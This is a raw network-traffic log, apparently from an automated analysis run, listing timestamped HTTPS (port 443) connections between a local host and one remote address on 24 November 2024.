Nov 24, 2024 05:13:10.592509031 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.596131086 CET	443	50092	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.596494913 CET	50092	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:10.596508026 CET	443	50092	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.597166061 CET	50092	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:10.597172976 CET	443	50092	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.718375921 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.718955994 CET	50094	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:10.718981981 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.719881058 CET	50094	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:10.719890118 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.771549940 CET	443	50093	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.772483110 CET	50093	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:10.772507906 CET	443	50093	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.772975922 CET	50093	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:10.772983074 CET	443	50093	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.026201963 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.029342890 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.029428005 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.029438972 CET	50091	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.029488087 CET	50091	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.029759884 CET	50091	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.029779911 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.029789925 CET	50091	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.029794931 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.033070087 CET	50096	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.033096075 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.033181906 CET	50096	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.033467054 CET	50096	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.033479929 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.034945965 CET	443	50092	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.037971973 CET	443	50092	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.038058043 CET	50092	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.038388014 CET	50092	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.038388014 CET	50092	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.038404942 CET	443	50092	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.038418055 CET	443	50092	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.040854931 CET	50097	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.040899992 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.041004896 CET	50097	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.041160107 CET	50097	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.041176081 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.154242992 CET	443	50095	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.154964924 CET	50095	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.155002117 CET	443	50095	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.155627012 CET	50095	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.155641079 CET	443	50095	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.165309906 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.165332079 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.165437937 CET	50094	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.165455103 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.165631056 CET	50094	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.165647984 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.165658951 CET	50094	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.165798903 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.165829897 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.165884018 CET	50094	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.168420076 CET	50098	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.168454885 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.168534994 CET	50098	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.168667078 CET	50098	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.168680906 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.224061966 CET	443	50093	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.224124908 CET	443	50093	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.224253893 CET	50093	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.224392891 CET	50093	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.224416018 CET	443	50093	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.228847980 CET	50099	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.228883982 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.229016066 CET	50099	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.229150057 CET	50099	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.229166985 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.604243994 CET	443	50095	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.604312897 CET	443	50095	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.604367971 CET	50095	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.657504082 CET	50095	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.657536983 CET	443	50095	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.657538891 CET	50095	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.657546997 CET	443	50095	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.660860062 CET	50100	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.660893917 CET	443	50100	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:11.660976887 CET	50100	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.661122084 CET	50100	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:11.661138058 CET	443	50100	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.749239922 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.749953032 CET	50096	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:12.749974012 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.750581980 CET	50096	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:12.750586033 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.756500959 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.757034063 CET	50097	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:12.757060051 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.757500887 CET	50097	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:12.757508993 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.946275949 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.946873903 CET	50099	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:12.946901083 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.947875977 CET	50099	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:12.947882891 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.967463017 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.967919111 CET	50098	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:12.967936039 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:12.968364000 CET	50098	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:12.968369007 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.183635950 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.183665037 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.183732986 CET	50096	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.183751106 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.184000015 CET	50096	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.184011936 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.184030056 CET	50096	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.184170961 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.184201956 CET	443	50096	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.184302092 CET	50096	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.187033892 CET	50102	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.187077045 CET	443	50102	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.187155962 CET	50102	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.187350035 CET	50102	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.187366962 CET	443	50102	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.191859007 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.191879034 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.191939116 CET	50097	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.191963911 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.192081928 CET	50097	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.192081928 CET	50097	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.192095995 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.192245007 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.192272902 CET	443	50097	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.192343950 CET	50097	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.194180965 CET	50103	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.194211960 CET	443	50103	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.194284916 CET	50103	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.194412947 CET	50103	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.194427967 CET	443	50103	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.379482031 CET	443	50100	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.380929947 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.380959988 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.381076097 CET	50099	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.381099939 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.381402969 CET	50100	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.381417036 CET	443	50100	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.381875992 CET	50100	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.381882906 CET	443	50100	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.382105112 CET	50099	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.382105112 CET	50099	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.382126093 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.382322073 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.382361889 CET	443	50099	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.384243011 CET	50099	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.384830952 CET	50104	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.384867907 CET	443	50104	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.384938955 CET	50104	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.385080099 CET	50104	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.385092020 CET	443	50104	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.410609961 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.410626888 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.410670042 CET	50098	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.410681963 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.410881042 CET	50098	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.410893917 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.411017895 CET	50098	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.411097050 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.411127090 CET	443	50098	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.411186934 CET	50098	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.413736105 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.413767099 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.413839102 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.413983107 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.413995028 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.815385103 CET	443	50100	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.815449953 CET	443	50100	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.815521955 CET	50100	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.815787077 CET	50100	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.815805912 CET	443	50100	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.815815926 CET	50100	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.815821886 CET	443	50100	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.821365118 CET	50106	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.821402073 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:13.821480036 CET	50106	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.821708918 CET	50106	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:13.821723938 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:14.972912073 CET	443	50103	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:14.973519087 CET	50103	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:14.973545074 CET	443	50103	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:14.974020958 CET	50103	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:14.974028111 CET	443	50103	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.035701036 CET	443	50102	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.036231995 CET	50102	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.036252975 CET	443	50102	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.036712885 CET	50102	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.036719084 CET	443	50102	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.194123030 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.194763899 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.194785118 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.195424080 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.195430994 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.231828928 CET	443	50104	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.232554913 CET	50104	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.232575893 CET	443	50104	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.233220100 CET	50104	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.233223915 CET	443	50104	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.418241978 CET	443	50103	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.418327093 CET	443	50103	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.418385983 CET	50103	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.418591022 CET	50103	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.418617964 CET	443	50103	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.418632984 CET	50103	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.418639898 CET	443	50103	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.422606945 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.422648907 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.422724962 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.422892094 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.422914028 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.491339922 CET	443	50102	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.491503954 CET	443	50102	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.491677999 CET	50102	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.491677999 CET	50102	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.491677999 CET	50102	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.494307995 CET	50108	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.494343042 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.494421005 CET	50108	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.494637012 CET	50108	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.494652033 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.642292976 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.642329931 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.642510891 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.642539978 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.642601013 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.642766953 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.642771959 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.642787933 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.642991066 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.643026114 CET	443	50105	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.643070936 CET	50105	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.645840883 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.645883083 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.645953894 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.646131992 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.646152020 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.668616056 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.669087887 CET	50106	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.669110060 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.669713020 CET	50106	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.669718981 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.696569920 CET	443	50104	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.699708939 CET	443	50104	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.699954987 CET	50104	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.706576109 CET	50104	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.706593037 CET	443	50104	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.706617117 CET	50104	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.706621885 CET	443	50104	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.710135937 CET	50110	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.710170984 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.710264921 CET	50110	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.710396051 CET	50110	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.710410118 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:15.802750111 CET	50102	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:15.802768946 CET	443	50102	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:16.141031027 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:16.141057014 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:16.141119003 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:16.141180038 CET	50106	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:16.141210079 CET	50106	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:16.141381979 CET	50106	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:16.141401052 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:16.141413927 CET	50106	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:16.141419888 CET	443	50106	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:16.144289017 CET	50111	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:16.144305944 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:16.144392014 CET	50111	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:16.144542933 CET	50111	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:16.144567013 CET	443	50111	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.138303041 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.138793945 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.138822079 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.139339924 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.139345884 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.414463043 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.414978981 CET	50108	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.415000916 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.415491104 CET	50108	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.415499926 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.539913893 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.539923906 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.540493965 CET	50110	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.540503979 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.540668011 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.540678024 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.540986061 CET	50109	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.541002989 CET	443	50109	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.541028976 CET	50110	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.541034937 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.679451942 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.679475069 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.679500103 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.679591894 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.679615021 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.679666042 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.831341982 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.831424952 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.831449986 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.831465960 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.831522942 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.831758022 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.831774950 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.831785917 CET	50107	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.831790924 CET	443	50107	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.837106943 CET	50112	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.837150097 CET	443	50112	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.837232113 CET	50112	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.837568045 CET	50112	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.837598085 CET	443	50112	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.864356041 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.864386082 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.864656925 CET	50108	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.864672899 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.865153074 CET	50108	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.865159988 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.865190029 CET	50108	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.865335941 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.865370989 CET	443	50108	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.865436077 CET	50108	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.867533922 CET	50113	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.867562056 CET	443	50113	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.867656946 CET	50113	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.867769003 CET	50113	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.867783070 CET	443	50113	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.997030973 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.997056961 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.997117996 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.997261047 CET	50110	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.997262001 CET	50110	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.997397900 CET	50110	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.997416019 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:17.997430086 CET	50110	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:17.997437000 CET	443	50110	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.000125885 CET	50114	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.000159025 CET	443	50114	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:18.000233889 CET	50114	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:18.000363111 CET	50114	443	192.168.2.7	13.107.246.63
